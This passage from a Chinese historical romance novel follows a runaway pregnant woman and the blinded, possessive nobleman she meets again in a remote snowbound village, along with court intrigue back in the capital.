陈老汉推辞不过,收了钱,有些担忧地看着她单薄的身影消失在渐浓的暮色与飞雪中,摇了摇头,赶着牛车继续朝李家坳方向去了。 姜于归踩着没过脚踝的积雪,深一脚浅一脚地朝着与官道相反的方向跋涉。寒风像刀子一样刮在脸上,她拉紧了头巾,只觉浑身冰冷,腹中空空,那点从庄子里带出来的干粮早已吃完。 走了约莫半个时辰,眼前阵阵发黑,脚步也越来越虚浮。 不能倒在这里......她咬着牙,指甲掐进掌心,用疼痛维持清醒。得找个地方避避风雪,弄点吃的...... 前方似乎有几点微弱的灯光,在风雪中摇曳。像是个小村落。她心头一松,强提着一口气,朝着灯光走去。 就在距离村口还有百余步时,脚下不知绊到了什么,她一个趔趄,重重摔倒在雪地里。冰冷的雪沫灌进领口,刺骨的寒意瞬间席卷全身。 她想爬起来,手脚却软得没有一丝力气,视线也模糊起来。 最后的意识里,她仿佛听到有人惊呼,看到几双沾满泥雪的布鞋跑到近前...... 而此刻的盛京,荣国公府内,却是一番截然不同的景象。 虽因守制不宜大肆庆贺,但府中压抑许久的某种气氛,却如同冰封的河面下悄然涌动的暗流,无声地改变着格局。 容琅坐在原本属于容璟的书房里,如今已被父亲容修远默许由他暂时使用。 屋内的陈设未大变,但原先那些属于容璟的私人物件,公文卷宗,已被清理一空,换上了容琅喜欢的时新摆件和几本他正读着的兵书。 他穿着簇新的宝蓝色锦袍,玉冠束发,面庞比往日红润了许多,眼底闪烁着一种混合着志得意满与隐隐不安的光芒。手指抚过光滑冰冷的紫檀木桌面,那触感真实而美妙。 他真的......成了世子? 不,还不是正式的。 陛下没有下旨,宗祠也没有开。 父亲只是默许他暂理府中事务,顶替容璟原先在府中的部分权责。 但这就够了。这意味的转变,明眼人都看得懂。 容璟倒了。被贬出京,前途未卜。 而他容琅,这个曾经不起眼,甚至被父亲忽视的庶子,终于等来了翻身之日。 书房门被轻轻叩响,柳姨娘端着托盘走了进来,上面是一盅冒着热气的参汤。 她今日特意打扮过,穿着绛紫色绣金菊的袄裙,发髻梳得一丝不苟,插着容琅新给她打的金簪,脸上带着掩饰不住的喜气,眼圈却还有些微红,是欢喜的,也是这些日子担惊受怕熬的。 “琅儿,快趁热喝了。你这些日子劳神,得好好补补。” 柳姨娘将汤盅放在桌上,语气是前所未有的轻快,却又带着一丝小心翼翼,仿佛怕这突如其来的好运只是个易碎的梦。 容琅接过参汤,却没有立刻喝。他看向母亲,低声道:“姨娘,事情......还没到最后。” 柳姨娘笑容微敛,随即又强笑道:“姨娘知道。可眼下这光景,还不够好吗?你父亲让你搬进这书房,府里那些势利眼的下人,如今见了我都客气三分......连郡主那边,听说这两日都安静得很。” 她顿了顿,声音压得更低:“只要容璟回不来,或者......回不来了,这世子的位置,迟早是你的。” 容琅看着汤盅里氤氲的热气,没有接话。 他想起前日去给父亲请安时,父亲那复杂难辨的眼神,疲惫中带着审视,仿佛在衡量他这块材料,是否真能顶替容璟那块已经淬炼成精钢的基石。 他又想起宫中隐约传来的消息,陛下对容璟似乎并未完全放弃,贬斥或许只是权宜之计...... 还有容璟。他那深不可测的长兄。真的会这么容易就倒下吗? 那日离京前,容璟来与他道别,眼神平静无波,甚至拍了拍他的肩膀,说府中事务,有劳三弟费心。那语气,不像败走,倒像......暂时出门访友。 一丝寒意,悄然爬上容琅的脊背。 “姨娘。” 容琅放下汤盅,语气郑重:“越是这种时候,越要谨言慎行。大哥......不是那么容易对付的人。府里的事,我们只管做好本分,其余的不听,不问,不插手。尤其......不要和母亲那边的人,有任何牵扯。” 他指的是安宁郡主。那位嫡母最近的安静,反而让他更加不安。 柳姨娘似懂非懂地点点头,眼中闪过一丝畏惧:“姨娘听你的。咱们就本本分分的,等着你父亲做主。” 容琅嗯了一声,重新拿起那本兵书,目光落在字句上,心神却早已飘远。 窗外的雪又密了些,打在窗纸上沙沙作响。这盛京的冬天,这场突如其来的翻身,究竟是机遇,还是另一个更危险的漩涡的开端? 他握紧了书卷,指尖微微发白。 山崖之下,积雪深厚,枯枝败叶被覆盖,形成一片柔软的,危险的陷阱。 容璟坠落时,护住了头脸,身体在陡峭的坡壁上几次撞击,翻滚,卸去了大部分下坠的力道,最后重重摔进崖底一个背风的雪窝里。 剧痛从全身各处传来,尤其是左肩和右腿,仿佛骨头已经碎裂。最要命的是头部,在一次撞击后,眼前瞬间被浓重的黑暗吞噬,耳朵里嗡嗡作响,什么也看不见,什么也听不清了。 冰冷刺骨的雪沫灌进他的口鼻,窒息感迫使他用尽最后力气侧过头,猛烈地咳嗽起来。每咳一下,都牵动着浑身的伤口,疼得他眼前发黑。 不,不是眼前发黑。 那黑暗来得太过彻底,太过寂静,像有人用最厚重的墨汁,从他眼眶里倒灌进去,瞬间浸透了整个世界。 容璟的咳嗽骤然停住,整个人僵在冰冷的雪地里。 他试着眨眼,再眨。 没有变化。只有一片虚无的,纯粹的,不容置疑的黑。 阳光呢?雪地的反光呢?树枝的阴影呢? 刚才坠崖前,他分明看见冬日惨白的日头,透过稀疏的树冠,投下支离破碎的光斑。此刻,什么都没有了。 一股寒意,比身下积雪更冷,从脊椎最深处倏然窜起,瞬间冻结了他的四肢百骸。 失明了。 这个认知像一把烧红的铁钎,狠狠凿进他的颅骨,带来比身上所有伤口加起来更尖锐的剧痛和一刹那灭顶的恐慌。 他的手下意识抬起,想要去触碰眼睛,指尖却在半空剧烈地颤抖起来。 不能碰。万一有外伤,碰了只会更糟。 狼狈。前所未有的狼狈。 一丝近乎自嘲的弧度,在他染血的唇角扯开。这出戏,是不是演得太过逼真了些?连他自己都差点信了。 不,不对。这不在他最初的计划之内。他算到了会有不止一波刺杀,算到了有人会趁机落井下石,也算到了慕容琛或许会因那点可笑的旧谊派人护送一程。 那队突然出现,搅乱战局的骑兵,多半就是慕容琛的手笔。 但他没算到,崖边那块石头会松得那么恰到好处,没算到那个刺客首领的决绝,更没算到自己会真的摔下来,还摔得这么重,甚至......瞎了。 失控的感觉,如同冰冷的毒蛇,缠绕上心脏。 他死死咬住牙关,将那只颤抖的手狠狠按回身侧雪地里。指甲抠进冻土,传来刺痛,让他混乱的神经稍许清醒了一分。 视觉的丧失,剥夺的不仅仅是看见的能力,更是他赖以生存的,对环境的绝对掌控。 方向,距离,潜在的危险,他人的表情......所有需要目光捕捉的信息,瞬间被抽离。 这种被强行抛入未知黑暗的失控感,对他而言,比刀剑加身更难以忍受。 但—— 他是容璟。 是那个在聆音阁蒙住姜于归眼睛,欣赏她因未知而恐惧的容潜玉。 是那个在月光刑审中,用言语描绘酷刑,让恐惧从受害者自己脑海中滋生的猎手。 他太熟悉黑暗的威力,也太懂得,如何在绝对的劣势中,保持绝对的冷静。 恐慌?慌乱?那是猎物的权利,不是猎手的。 容璟猛地深吸一口气,冰冷的空气呛入肺腑,带来撕裂般的清醒。他强迫自己摒弃所有无用情绪,将全部心神凝聚到残存的感官上。 他屏住呼吸。 整个世界的声音,在绝对的专注下,被无限放大。 风声。不再是模糊的呜咽,他能分辨出风穿过不同粗细树枝的细微差别,能感知到雪粒被卷起,落在不同物体上的轻重缓急。 他耳廓几不可察地动了一下。 然后,他捕捉到了更远处的声音。 很轻,很谨慎,踩在积雪上,每一步都带着试探性的停顿和微不可闻的“咯吱——”声。 有人。 不止一个。 脚步声的节奏,落点的轻重,间隔的距离......在他脑中迅速勾勒出模糊的轮廓。至少两人,从东面山坡下来,步履不算稳健,不像训练有素的杀手,更像......普通的山民或樵夫?但也不能完全排除伪装。 容璟的身体依旧保持着摔落时的姿态,一动不动,像一具真正失去生息的躯壳。唯有浑身的肌肉,在无人看见的黑暗里,调整到了最利于瞬间爆发或防御的状态。 脸上的表情,在最初的剧痛和恐慌过后,已是一片深潭死水般的平静。甚至,在那双失去焦距,空茫望着虚无的眸底深处,一丝属于猎手的,冰冷而锐利的评估,正悄然浮起。 黑暗剥夺了他的眼睛,却迫使他的其他感官变得前所未有的敏锐,也让他的大脑,在剧痛和失血的干扰下,以近乎残酷的效率高速运转。 这不是绝境。 至少,暂时还不是。 而那个正在靠近的脚步声,是新的变数...... 他等待着。用尽所有自制力,维持着濒死的表象,等待着那双脚,踏入他此刻只能用听觉丈量的,无形的狩猎范围。 就在这时,一阵极其轻微的,踩着积雪的簌簌声,由远及近,朝着他所在的方向而来。 不是野兽。脚步很轻,带着犹豫和试探。 容璟浑身肌肉瞬间绷紧,仅存的右手悄然摸向腰间,那里藏着一把贴身匕首,他屏住呼吸,将头偏向声音来源的方向,尽管眼前依旧一片漆黑。 那脚步声在距离他大约两三丈外停住了。似乎是在观察。 然后,一个带着明显惊疑和不确定的,粗狂男人的声音响起:“喂......你还活着吗?” 粗嘎的嗓音带着浓重的本地土腔,在寂静的雪谷中回荡。 容璟的指尖在匕首柄上凝住,呼吸放得愈发轻缓绵长,胸膛的起伏微弱到几乎察觉不到。脸上血迹与雪污模糊了五官,眼睫低垂,遮住那双空洞失焦的眸子,只剩一片濒死的灰败。 他需要判断——来者是善是恶?是偶然还是圈套? 脚步声迟疑着又近了几步,踩得积雪咯吱作响。 “啧,伤得不轻啊......还有口气儿。” 那声音嘀咕着,带了点朴实的怜悯:“这大雪天的,造孽哟。” 接着是衣物摩擦声,那人似乎蹲了下来,粗糙带着厚茧的手探向容璟鼻息。 就在指尖即将触碰到他皮肤的刹那,容璟眉心蹙起,仿佛用尽了力气才掀起一点眼帘。 尽管他什么也看不见,但那空洞望向虚空的模样,配合着惨白染血的面容,足以让人心生恻隐。 “哎!醒着呐!” 那人吓了一跳,随即忙道:“别怕别怕,俺是山下李家坳的猎户,姓周。你......你能动不?俺背你回去,俺婆娘懂点草药,能给你瞅瞅。” 猎户。李家坳。 容璟脑中迅速调出这一带的地理概要。 距离官道约二十里,村落不大。 他虚弱地动了动嘴唇,却发不出声音,只几不可察地点了下头。 周猎户见状,不再多问,小心地将容璟从雪窝里扶起,避开他明显不自然的右腿和左肩,用蛮力将人背到背上,深一脚浅一脚地往山谷外走去。 容璟伏在猎户宽厚却充满汗味和兽皮腥气的背上,面朝后方。失明的黑暗让他其余感官锐化到极致。风声的流向,猎户喘息的重浊,远处隐约的犬吠,还有空气中渐渐多起来的,烟火与人迹的气息。 他默默记着路线,左转三次,右转一次,一段陡坡,穿过一片枯木林,然后地势渐平,风声减弱,应该接近村落了。 “老婆子!快出来搭把手!”周猎户的嗓门在院子里炸开。 —————— 姜于归是两天前被一位姓陈老婆婆从村口雪地里捡回来的。 她醒来时,发现自己躺在一间干净但陈设简陋的土炕上,身上盖着半旧的蓝花棉被,灶间飘来米粥和草药混合的温热气息。 陈婆婆端着碗黑褐色的药汤进来,见她睁眼,布满皱纹的脸上露出慈和的笑:“闺女醒啦?别怕,这儿是李家坳,俺家那口子打猎回来瞧见你倒在村口,就给背回来了。你身子虚得很,冻着了,又饿过头,得好好将养。” 姜于归撑着坐起,喉咙干涩,低声道谢。她不动声色地观察,屋子只有一扇小窗,窗外是积雪的篱笆院,远处山峦起伏,完全陌生的环境。 陈婆婆递过药碗,似是随口问:“闺女打哪儿来?咋一个人在这大雪天赶路?” 姜于归垂下眼,接过药碗,指尖微颤,声音沙哑,带着恰到好处的惊惶与疲惫:“逃难的......跟家人走散了,想去南边投亲。” 陈婆婆点点头,没再多问,只叹了口气:“这世道......先安心住下,养好身子再说。” 接下来的两天,姜于归安静地待在厢房,按时喝药吃饭,偶尔帮陈婆婆摘摘菜,扫扫院子。 她话不多,但手脚勤快,眼神干净,很快得了陈婆婆的喜欢。 然而第三天清晨,姜于归在帮陈婆婆晾晒草药时,突然一阵强烈的晕眩恶心袭来,她扶住门框,干呕了几声,脸色瞬间煞白。 陈婆婆正捣着药杵,闻声抬头,眼神倏地一凝。她放下石臼,擦了擦手走过来,语气温和却不容拒绝:“闺女,伸手,婆婆给你把把脉。” 姜于归心头剧震,下意识地将手缩到身后。 陈婆婆看着她,目光如古井,平静却洞悉:“婆婆在这山坳里活了六十多年,接生的娃娃,救过的人,比你见过的都多。你这脉象,不把也猜个八九不离十。” 姜于归背脊僵硬,指甲掐进掌心,许久,才缓缓伸出手腕。 陈婆婆粗糙温暖的手指搭上她的脉门,凝神细辨片刻,眉头慢慢蹙起,又缓缓松开。 她收回手,看着姜于归瞬间血色褪尽的脸,声音压得低低的:“日子还浅,但错不了。快两个月了。” 两个字,像冰锥砸进耳膜。 姜于归眼前一阵发黑,她扶住门框才勉强站稳,嘴唇翕动,却发不出声音。 脑中疯狂闪过那些混乱而屈辱的画面,为救林晏的献身,婚后被迫的承欢,还有容璟那双深不见底,永远带着算计的眼睛...... “不......” 这个字从齿缝里挤出来,干涩得破碎。 陈婆婆立刻看出姜于归的心思,不过没有像寻常乡野妇人那样惊呼或劝慰,只是静静看着她眼中翻涌的惊骇,抗拒,乃至一丝狠绝,叹了口气。 “闺女,老婆子不说那些孩子无辜的虚话。” 她转身从药柜最底层取出一个陈旧的小布包,打开,里面是几样晒干的草药根茎,气味辛涩冲鼻:“你要是真想好了,这东西,能帮你。但婆婆得把话先说前头。” 说罢,她拈起一根褐黑色的根茎,语气平淡得像在说天气:“这东西猛,得用黄酒引,服下去,肚子会疼得撕心裂肺。血流得多,人就像从鬼门关走一遭。咱们这山坳里,前年王家的媳妇,因为一些原因不得不落胎,用了类似的方子,血崩了,没救回来,一尸两命。去年坳子口刘家的闺女,命大,扛过来了,可身子也垮了,再怀不上。” 姜于归盯着那根草药,呼吸急促。 陈婆婆将草药放回布包,声音依旧平稳:“当然,你年轻,底子或许比她们强些。但婆婆瞧你脉象,虚浮无力,似有旧疾未愈,又像......长期用过什么虎狼之药伤了根基。这胎若要强落,风险比旁人只大不小。” 姜于归猛地抬眼看她,眼神锐利如刀:“难道生下来就不危险?” 这话已近乎直白的决绝。 陈婆婆与她对视,浑浊的眼中没有责备,但依旧带着几分悲悯。 陈婆婆点头:“是,生产也是鬼门关,但那是往后七八个月的事,你有时间将养,有机会寻更好的大夫,更稳妥的地方。而这落胎......就在眼前,就在这山坳里,只有婆婆这点粗浅手艺和这几味草药。你赌不赌得起?” 她看着姜于归抿紧的唇和微微颤抖的肩膀,最后一次开口,声音低得几乎耳语:“婆婆再多嘴一句。你体内似有轻微寒滞之象,像是用过药性极温和的避子之物,但终是损了些根本。这胎若是落了,将来再想有......怕是难了。女人这辈子,路还长,有些选择,做了就回不了头。” 话音落下,屋内陷入死寂。只有灶膛里柴火偶尔的噼啪声,和窗外风雪扑打窗纸的簌簌轻响。 姜于归的指尖深深陷进掌心,几乎掐出血来。 她闭上眼,脑中一片混乱。 容璟冰冷的脸,慕容琛痛苦的眼神,禾苗纯真的笑容,归月楼灶台升起的炊烟,还有腹中这团悄然扎根的,不该存在的血肉...... 良久,她缓缓睁开眼,眸中那片激烈的挣扎渐渐沉淀为一种深不见底的疲惫与苍凉。 她没有说话,只是极其缓慢地,摇了摇头。 陈婆婆看着她的动作,轻轻舒了口气,将那小布包重新收回药柜底层,锁好。转身时,拍了拍姜于归冰冷的手背:“先养着。旁的事,以后再想。” 就在这时,院门被“哐当——”推开,周猎户粗嘎的嗓门伴着风雪卷了进来: “老婆子!快出来搭把手!山崖下捡了个快死的,伤得邪乎!” 陈婆婆忙应了一声,对姜于归匆匆交代:“闺女,你好好想想吧。” 说完,便快步迎了出去。 姜于归独自坐在炕沿,盯着自己平坦的小腹,许久。 指尖的颤抖早已平息,只剩一片冰冷的麻木。窗外天色由惨白转为铅灰,雪又密了起来,打在窗纸上沙沙作响,像某种细碎的催促。 陈婆婆的话在耳边反复回响。 生,是七八个月后的鬼门关。落,是眼下,即刻,赌上性命的血光之灾。 她摊开手,掌心是方才无意识掐出的,几乎见血的月牙痕。 这点疼,比起陈婆婆口中描绘的撕心裂肺与血流如注,算得了什么?比起记忆中容璟施加的痛苦,又似乎......算不了什么。 她恨。恨容璟的算计与掠夺,恨这命运阴差阳错的桎梏。 可她也清醒。清醒地知道,在这荒僻山坳,一个身无分文,举目无亲的“逃难女子”,若再经历一场凶险的落胎,活下来的几率能有多少? 她闭上眼,脑海里闪过清溪镇酒肆灶台前忙碌的自己,闪过临河镇归月楼里那些带着善意光顾的熟客,甚至......闪过禾苗那双亮晶晶的,满是信赖的眼睛。 活着。她必须活着。 不是为了谁,只是为了自己,为了那些或许还能到来的,微乎其微的自由与可能。 而活下去,需要健康的身体。 姜于归没有明说什么,但是陈婆婆也感觉到姜于归的想法,想要落胎的心已经动摇,于是她收走了之前给姜于归的药。 接下来的两日,姜于归仿佛变了个人。 她不再终日待在厢房,而是主动跟着陈婆婆辨识草药,帮忙分拣,晾晒,甚至学着用简陋的石臼研磨一些简单的药粉。她学得极快,许多草药性味,陈婆婆只提过一两次,她便记得分毫不差。 陈婆婆有些讶异:“姜儿啊,你以前学过?” 姜于归和姜月的名字她都不敢用,开口之际脱口而出的姜,便成了她的名字。 姜于归低头整理着手中的艾叶,微微笑了笑道:“家里......原是开酒肆的,也兼卖些简单药膳,认得几味寻常药材。” 陈婆婆目光在她清瘦却挺直的背脊上停留片刻,没再追问,只道:“那敢情好。婆婆这儿缺人手,你若愿意,平日帮着煎药,送饭,也算活动筋骨,对养胎......也有益。” 她说得自然,仿佛只是寻常安排活计。 姜于归随即点头:“好。” 这日一早,陈婆婆和她丈夫因为忙碌其他的事情,于是将一只冒着热气的粗陶药罐和一碗清粥并两个杂面馍馍放进竹篮,递给姜于归:“姜儿啊,西头小医馆里那位公子,该换药了。你顺道把早饭送过去。他伤在头上,眼睛......似乎瞧不见东西,你动作轻些,莫要惊着他。” 姜于归不疑有他,爽快的接过竹篮,提着竹篮出了堂屋。 院子西侧,有一间独立的土坯房,比正屋更简陋些,门上挂着块半旧的木牌,用炭笔歪歪扭扭写着医馆二字。门虚掩着,里面光线昏暗。 姜于归在门前站定,深深吸了口气,才抬手轻轻叩了叩门板。 里面没有回应。 她迟疑一瞬,推门进去。 一股浓烈的草药味混杂着淡淡的血腥气扑面而来。 屋内狭小,只靠墙支着一张木板床,床上铺着厚厚的干草和半旧棉褥。 一个男人靠坐在床头,身上盖着打了补丁的灰布棉被,头偏向窗子的方向,尽管那里只有一扇糊着厚纸的小窗,透不进多少光。 他穿着周猎户的粗布旧衣,过于宽大,显得空荡荡。 脸上和手上的擦伤已涂了深褐色的药膏,左肩用木板固定,右腿也裹着厚厚的布条。 最触目惊心的是他的眼睛,紧闭着,眼窝处有些青紫肿胀,长睫在苍白的面容上投下安静的阴影。 姜于归的脚步,在看清那张脸的瞬间,死死钉在原地。 尽管有伤痕,有药污,尽管穿着粗布衣裳,闭着眼,气息微弱......可那鼻梁的弧度,下颌的线条,还有那种即便昏迷重伤也挥之不去的,浸入骨髓的孤峭与疏离...... 容璟。 怎么......是他? 姜于归瞬间瞪大了双眼,提着竹篮的手不断的颤抖。她几乎要转身夺门而出,可双腿却像灌了铅,动弹不得。 她心里有惊讶,有害怕,有愤怒,还有一丝庆幸。 陈婆婆说,他......看不见! 床上的人似乎听到了动静,头微微偏转,那双紧闭的眼睛缓缓睁开。 瞳孔是涣散的,没有焦距,茫然地“望”向前方虚空。 眼神空洞,带着重伤初醒的迟钝,和一丝不易察觉的......属于失明者的,本能的不安与探寻。 他的眉头轻轻蹙起,声音沙哑干涩,带着重伤后的虚弱:“......谁?” 姜于归死死咬住牙关,将几乎冲口而出的惊喘咽了回去。 她强迫自己低下头,避开那双没有焦距却依旧让她脊背生寒的眼睛,走到床边的矮凳旁,将竹篮放下,动作尽可能轻,却依旧带着不易察觉的僵硬。 她没说话,只将药罐和粥碗一样样取出,放在床头一个充当桌子的旧木墩上。 瓷碗与木墩接触,发出轻微的磕碰声。 容璟的耳朵几不可察地动了一下,空洞的“视线”准确无误地转向声音来源,眉头蹙得更紧:“是陈大娘......” 姜于归愣了许久,并没有回应,似乎在思索老天爷造化弄人,这也能让她和容璟遇上,又像是在考虑今日之后,她要不要离开这里。 久久的沉默让容璟也愣了一下,涣散的瞳孔里掠过一丝极淡的困惑,但很快被疲惫掩盖。 他没再追问,只低低道:“有劳。” 姜于归不再看他,只把药递到容璟手边,然后后退拉开距离。 容璟心中疑惑,却并没表现出来,端着药碗仰头喝下。苦涩的液体入喉,他眉头都没皱一下,只喉结滚动,默默吞咽。 姜于归始终低垂着眼,目光只落在药罐和他苍白的嘴唇上。 她能感觉到,那双空洞的眼睛,似乎一直“停”在她的方向,尽管没有焦点,却依旧带着一种无形的,令人窒息的压迫感。 是错觉吗?还是失明的人,其余感官真的会敏锐至此? 见容璟喝完药,她又将粥碗递过去。这次,容璟伸出手,摸索着来接。他的手指修长,骨节分明,却因为失明和伤势,动作显得有些迟缓笨拙。 指尖在空中迟疑地探寻,几次险些碰翻粥碗。 姜于归下意识地将碗往他手边又递了递。 他的指尖终于触到了温热的碗壁,顿了顿,然后稳稳接过,低声道谢:“多谢。” 他捧着碗,小口小口地喝着粥,动作很慢,却异常沉稳,仿佛失明与重伤并未摧毁他骨子里那种固有的,近乎刻板的仪态。 姜于归站在一旁,静静看着。 看着这个曾经翻手为云覆手为雨,将她玩弄于股掌之间的男人,此刻穿着粗布衣服,眼睛看不见,靠着一个陌生村妇的救济,在这荒僻山坳的破旧医馆里,沉默地喝着一碗清可见底的米粥。 她想起离开城南别院的时候,听那些下人的议论,容璟失势被贬,现在要去地方上任,想来是在朝中得罪太多人,所以被追杀了吧? 心中翻涌的情绪复杂难辨。恨意依旧尖锐,却似乎混入了一丝极淡的,连她自己都未曾察觉的......物伤其类的苍凉。 不。她立刻掐灭这丝不该有的情绪。 他是容璟。即便落到这般田地,他也依然是容璟。 随即而来的,便是清晰的分析。 容璟在这附近被救,那搜救他的人和追杀的人一定都会在这附近辐射寻找,那他的护卫长青长风不也就能找到她? 那这个地方,她确实不能待了!尤其是如果她也被追杀容璟的人牵连。 想到这里,姜于归已经下定决心,回去后就和陈婆婆他们告别,不过...... 她走了,或许能逃过一劫,那救了容璟的陈婆婆他们呢?追杀容璟的人若是发现,他们是否也会受到牵连...... 姜于归的心里很犹豫,很矛盾...... 她愣在原地很久,直到容璟粥喝完,他将空碗递还,姜于归很久才接过,放入竹篮,转身便要走。 门板在她身后轻轻合拢,隔绝了屋内浓重的药味,也隔绝了床上那人骤然抬起,空洞却深邃地“望”向门方向的,若有所思的“目光”。 容璟静静靠在床头,听着那刻意放轻却依旧略显急促的脚步声渐行渐远,直到消失在风雪声中。 姜于归提着空篮回到正屋时,陈婆婆正在灶前熬着一锅新的膏药,气味辛辣。 陈婆婆头也没回,用木勺慢慢搅动:“送过去了?” “嗯。” 姜于归应了一声,将篮子搁下,走到灶边,沉默地帮着添了根柴。 火苗噼啪一声窜高了些,映着她低垂的侧脸。 陈婆婆瞥她一眼:“那公子情形如何?” 姜于归声音很平:“喝了药,用了粥。婆婆,他......是什么人?” 陈婆婆手上动作不停:“当家的从北边山崖下背回来的,浑身是伤,眼睛瞧不见了。旁的不知,也不便多问。” 姜于归盯着跳跃的火光,缓缓道:“他身上那些伤......不像是摔的。我瞧着,有些像是利器划砍的旧痕,肩膀脱臼的手法也利落,像是被人刻意卸开的。还有,他虽穿着粗布衣裳,可手指甲缝里干净,掌心没有劳作的茧子,倒像......常年握笔或是握剑的。” 她顿了顿,声音压得更低:“婆婆,这样的人,落在咱们这山坳里,怕是祸不是福。” 陈婆婆搅动药膏的勺子停了下来。 她转过脸,看着姜于归。浑浊的眼睛在灶火映照下,显得格外沉静。 陈婆婆慢慢道:“姜儿,婆婆活了大半辈子,在这山坳里,见过摔断腿的樵夫,见过被熊瞎子挠破肚皮的猎户,也见过......像他这样,带着刀剑伤,昏死在路边的人。” 她将勺子搁在灶沿,用布巾擦了擦手:“救不救,是医者的本分。送不送走,是看他能不能活。他现在这模样,挪动就是死。一条命摆在眼前,婆婆不能因为怕惹祸,就亲手把他推出去。” 姜于归指甲掐进掌心:“若是......这祸会牵连整个村子呢?” 陈婆婆沉默片刻,叹了口气:“那便是命。可至少眼下,婆婆不能见死不救。” 她重新拿起勺子,语气恢复了往常的温和却不容转圜:“脸色不好,你先回屋歇着吧。” 姜于归知道,话已至此,再劝无用。 她默默起身,回了厢房。 接下来两日,姜于归确实没再去,而是就在院子里做事。 送饭换药的活儿,重新落在了周猎户身上。 西头小医馆里,容璟的伤势在缓慢好转。 他能靠着墙壁坐起身,能自己端着碗喝药,只是眼睛依旧看不见,动作迟缓,需要人将东西递到手中。 这日傍晚,周猎户提着食盒进来,照例将粥碗和药罐放在木墩上,粗声道:“公子,用饭了。” 容璟循声“望”去,轻轻颔首:“有劳周叔。” 他摸索着端起粥碗,喝了两口,忽然停下,像是随口问起:“前两日......似乎不是周叔送饭?” 周猎户正蹲在门口检查一副兽夹,闻言头也没抬:“哦,那是我家老婆子救下的一个干闺女,叫姜儿。这两日她身子不大爽利,在屋里歇着呢。” 容璟捧着粥碗的手指,几不可察地收紧了一瞬。 他垂下眼,声音依旧平稳温和:“姜姑娘......是周叔的亲眷?” 周猎户是个直肠子,有人搭话便唠上了:“是俺婆娘前些日子从村口雪地里捡回来的,可怜见的,一个人晕在那儿,差点冻死。醒了也不多话,就说是逃难跟家人走散了,想去南边投亲。” 他叹了口气:“这世道,都不容易。好在姜儿勤快,手脚麻利,还会认草药,帮了俺婆娘不少忙。” 容璟静静听着,将粥碗慢慢送到唇边,又喝了一口,才道:“姜姑娘......一个人逃难?” 周猎户没察觉他话里细微的探询,顺口道:“可不是么!一个妇道人家,还怀着身子,月份浅,差点就......” 他忽然意识到这话不妥,讪讪住口,挠了挠头:“总之,也是命大,遇上俺婆娘了。” 话音落下,小医馆内有一刹那极致的寂静。 只有药罐底下小炭炉里,火星子爆开的轻微噼啪声。 容璟端着粥碗的手,稳稳停在半空,纹丝未动。 半晌,他极缓极缓地将碗放下,瓷底与木墩接触,发出嗒的一声轻响,平稳得没有一丝颤抖。 他抬起脸,那双没有焦距的眼睛“望”向周猎户的方向,唇角甚至弯起一个极淡的,近乎感激的弧度。 “原来如此......周叔一家,真是善心人。” 他的声音依旧沙哑,却温和如初,甚至带着恰到好处的感慨:“姜姑娘孤身一人,又有孕在身,能得周叔和陈大娘收留照料,是她的福气。不知......姜姑娘夫家何在?何以让她独自流落在外?” 周猎户摆摆手:“没提,俺们也不好问。瞧着是个有主意的,许是有什么难处吧。” 容璟点了点头,不再追问,只低声道:“愿她日后平安顺遂。” 他重新端起粥碗,一口一口,安静地将剩下的粥喝完,又将药饮尽,动作规律而克制,与往日并无不同。 周猎户收拾了碗筷,叮嘱两句好好歇着,便提着食盒走了。 门板合拢。 容璟独自靠在床头,面向着窗外,尽管他什么也看不见。 脸上的温和神色,如同潮水般褪去,只剩下一片深不见底的沉静。 搭在棉被外的手,指节微微泛白。 姜儿。 逃难。 怀着身子。 月份浅......快两个月。 会认草药,懂药膳。 送饭时沉默,动作僵硬,气息......熟悉。 所有的碎片,在这一刻,被一条冰冷的线串联起来,严丝合缝。 心脏像是被一只无形的手狠狠攥住,窒息般的闷痛后,涌起的是一种近乎荒诞的,冰火交织的剧震。 姜于归——是你么? 他就知道,她不会老实的待在别院。 她又逃了。 还在这荒山僻壤,被一户猎户所救。 而且她腹中......有了他的孩子。 这个认知,如同淬毒的楔子,狠狠钉入他的颅骨。 不是喜悦,不是柔情,而是一种更加汹涌,更加扭曲的占有欲与掌控欲的轰然爆发。 她竟然敢......怀着他的孩子,试图再次消失? 可旋即,另一种更微妙,更陌生的情绪,如同暗流下的水草,悄然缠绕而上。 她留下来了。 他以为,在他重伤失明的情况,姜于归和他重逢,她会毫不犹豫的杀他,然后立刻逃走。 她在......照顾他? 为什么? 怜悯?善良?还是......因为孩子? 容璟闭上眼,眼前依旧是浓稠的黑暗。可这片黑暗里,却仿佛燃起了一簇幽暗冰冷的火苗。 他的嘴角,极其缓慢地,扯开一个无声的弧度。 那弧度里没有温度,只有一种猎人重新锁定猎物踪迹的,森然的兴味与笃定。 看来这场意外坠崖,这场失明重伤,这场看似狼狈至极的落魄...... 竟成了最好不过的试金石,也是......最妙不可言的囚笼。 他依旧看不见。 他依旧重伤虚弱。 他依旧是那个需要人怜悯照料的落魄公子。 而她,是善良的姜儿,是怀了身孕需要倚仗猎户一家生存的逃难女子。 多么完美。 完美到他几乎要感谢那场意外的刺杀了。 容璟缓缓吸了一口气,冰凉的空气灌入肺腑,压下胸腔里那股翻腾的,近乎暴戾的躁动。 不能急。 不能吓跑她。 这一次,他要她自愿留下来。 要她因为怜悯,因为责任,因为或许连她自己都未曾察觉的......那点残存的,可笑的牵绊,亲手将自己,再次绑回他身边。 他需要更多信息。 需要知道姜于归究竟怎么想的,需要知道这山坳是否安全,需要知道......长青何时能找到这里。 在那之前—— 他是目不能视,重伤未愈的容公子。 她是善良沉默,身世成谜的姜姑娘。 这场戏,才刚刚开始。 窗外,风雪似乎又紧了。 呜咽的风声穿过山坳,像某种遥远而不祥的预兆。 而小医馆内,只剩一片死寂的黑暗,和黑暗中,那人唇角渐渐凝固的,冰冷而深邃的弧度。 夜色如墨,雪沫子被风卷着,一阵紧似一阵地扑打在西头小医馆的窗纸上,沙沙作响,像无数细小的爪子挠着人心。 容璟靠在床头,身上盖着那床半旧棉被,呼吸平稳绵长,仿佛已然沉睡。 可他搭在被子外的手指,指尖在粗糙的布面上,极轻极缓地划着什么。 不是无意识的动作,是几个极其简略的符号,旁人看了只当是伤重昏沉中的颤栗,唯有极熟悉他的人才懂,那是青龙台内部传递紧急消息的暗码。 子时三刻,万籁俱寂,连风声都似有片刻凝滞。 医馆那扇不甚严实的木窗,被一股极巧的力道从外推开一条缝隙,冷风灌入的刹那,一道黑影已如狸猫般滑入,落地无声。 黑影在床前半丈外停住,单膝点地,身形融入角落最深的阴影里,气息收敛得几乎与黑暗融为一体。 “世子。”声音压得极低,是长青。 